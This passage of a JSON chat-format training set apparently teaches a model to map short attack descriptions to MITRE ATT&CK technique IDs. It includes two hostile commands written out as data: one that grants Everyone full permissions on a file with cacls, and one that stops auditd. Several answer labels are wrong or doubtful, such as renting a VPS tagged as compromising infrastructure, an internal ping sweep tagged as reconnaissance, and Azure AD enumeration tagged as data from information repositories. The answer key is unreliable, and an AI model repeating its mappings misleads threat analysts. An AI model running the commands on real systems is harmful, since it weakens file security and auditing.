                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Team constructs a malicious macro-enabled Office document that drops a payload."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the vDSO section in memory, the malware gains code execution inside the target process without using ptrace."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker hijacks a legitimate process by allocating extra memory through the SetWindowLongPtr function and copying malicious DLL code there."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the @reboot directive in a cron job to automatically start a keylogger whenever the compromised machine boots up."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks a legitimate process tree by inserting a malicious child under a normal parent, causing the hierarchy to look authentic."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group runs a scheduled task that runs a Python script to dump mail archives from the archive server."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious JavaScript embedded in a malicious webpage accesses the user's camera via getUserMedia and streams the video to the command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts data from the Windows Registry key storing recent file history."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder queries search engines for domain names and subdomains that are publicly listed and could be used for later exploitation."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed encoded data within HTTP POST requests to a compromised web server, leveraging the server's file upload endpoint to exfiltrate credentials."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker pads the malicious DLL with extraneous data, making reverse engineering more time-consuming."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware overwrites the MBR with malicious code to persist and hide."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages a compromised Slack workspace to send targeted messages with malicious attachments to specific users within the organization."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employs a large wordlist to brute‑force login portals on the corporate VPN."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker provisions virtual machines in an unused Azure region to hide command-and-control traffic from defenders."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor is set up by creating a Scheduled Task that runs a hidden PowerShell command every 15 minutes."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary's code includes a 10‑minute sleep loop that only proceeds if the system clock advances normally, preventing execution in fast‑forwarded sandbox timers."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script runs 'service auditd stop' and then prevents it from restarting, disabling Linux audit."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes a batch file with escaped characters and variable substitution to obscure the actual commands being run."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign used a compromised user’s Microsoft Remote Assistance session to execute arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor captures and rewrites DNS query responses, directing users to malicious IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors install a persistent backdoor on a Windows file server after stealing service account credentials."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries rent a low‑cost virtual private server from a cloud provider, install a persistent backdoor, and use it as a foothold to pivot into the victim network."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor installs a rootkit on a DNS server, enabling persistent manipulation of DNS responses for targeted phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code used the Windows command interpreter to run \"cacls C:\\secret.txt /e /p Everyone:F\" granting full permissions."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a VBA macro into an Excel template (.xltm) that executes on Office startup, establishing persistence by creating a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uninstalls the host intrusion detection system to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group escalates privileges by granting themselves full control over the registry keys of critical services, allowing them to set a malicious executable path."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team moves their credential dumping tool from an infected endpoint to another host via FTP."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated attack modifies the VDSO to hijack execution flow, achieving process injection without raising alarms."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group identifies CVE‑2023‑#### in a popular VPN client and uses it to exfiltrate data and deploy further tools."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a malicious firmware update on a USB device to communicate between a secure network and an external server."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access, the intruder runs a ping sweep to discover live IP addresses within the victim's subnet."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker conducts WHOIS queries to retrieve expiration dates and renewal status of high-value domains."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages rsync to mirror sensitive files to a staging server located on the same network segment."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised privileged account, the adversary uploads a malicious DLL to a system directory via SMB share, enabling credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary writes a VBScript to the Startup folder that executes a payload each time the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearfishing voice attack is carried out where the attacker pretends to be a colleague seeking assistance with a password reset, coaxing the victim to reveal their password over the phone."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing campaign used a disguised image file (.png) with an embedded malicious payload that executed when the image was viewed in a vulnerable viewer."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool encrypts outbound data with a symmetric key derived from a password, then transmits it over HTTP to evade network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installs a launch daemon that continuously monitors for new USB devices and logs their identifiers."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑infection script searches the macOS Keychain for stored banking app credentials and sends them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing dropper parses the Process Environment Block to locate ntdll.dll and dynamically resolves NtCreateFile for file operations."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to hide their activity, the intruder alters the com.apple.security.plist file, disabling Gatekeeper's app verification checks."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware stores its payload in the resource fork of a legitimate macOS binary to avoid detection by file scanners."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group adds a malicious user to the company's Salesforce environment to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor employs a whaling attack, targeting high-ranking executives with highly sophisticated and personalized phishing emails."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker manipulates WinRM to run PowerShell scripts on a target system across the domain."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs a custom downloader that pulls extra malware components from a cloud storage bucket to the infected host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised legitimate PowerShell script, adding code to proxy execution of a ransomware payload via the script."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a script that lowers the browser's security settings, enabling malicious extensions."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware employs ICE (Interactive Connectivity Establishment) to traverse NAT and communicate with its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a PowerShell command to set the active power scheme to 'Maximum Performance'."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised account’s hash, the intruder performed lateral movement across the network by authenticating to multiple servers via Pass the Hash."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors fetch a trojanized installer from a compromised third‑party vendor site to obtain additional malware for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker purchases a prepaid SIM card and uses it to establish a mobile hotspot for covert communications."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker creates a new Windows service that runs a malicious payload at system startup."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses self-modifying code that only decrypts payload when no debugger is attached."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a build server to insert malicious code into the compiled client executable before release."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends malformed packets that trigger kernel panic loops, draining CPU cycles on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script drops an .hta file and runs it through mshta.exe to proxy code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script reads the SECURITY hive to retrieve password hashes for offline cracking."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used ICMP echo requests to embed encrypted payloads and exfiltrate sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder uses PowerShell to enumerate Azure AD tenant users and groups."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A state‑sponsored group buys a set of confidential API documentation for a cloud service from a leaked source."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy backdoor registers a custom DLL with Winlogon to execute during the logon process."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses spoofed SMTP traffic, embedding commands in email headers to blend with normal email flow and avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑criminals acquire advertising space on compromised blogs and use cloaked URLs to deliver a trojanized installer."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ stolen valid credentials for a tenant's AWS root account to disable security logging and create backdoor access."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a compressed executable that has its original PE header stripped, making static analysis difficult."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged the legitimate Windows Control Panel executable (control.exe) to proxy malicious PowerShell commands onto the victim system."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor registers a personal Gmail address and uses it to receive stolen credentials from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT groups utilized WinRM over HTTPS (port 5986) to stealthily transfer malicious modules to high-value servers."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor abuses a content delivery network's domain fronting feature, making traffic appear as if it originates from a trusted domain while actually reaching a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows Installer binary, the threat actor ran a malicious PowerShell command through msiexec's /i switch to proxy execution of the payload."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary changes the default handler for .html files to a custom browser that injects malicious scripts whenever a page is opened."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
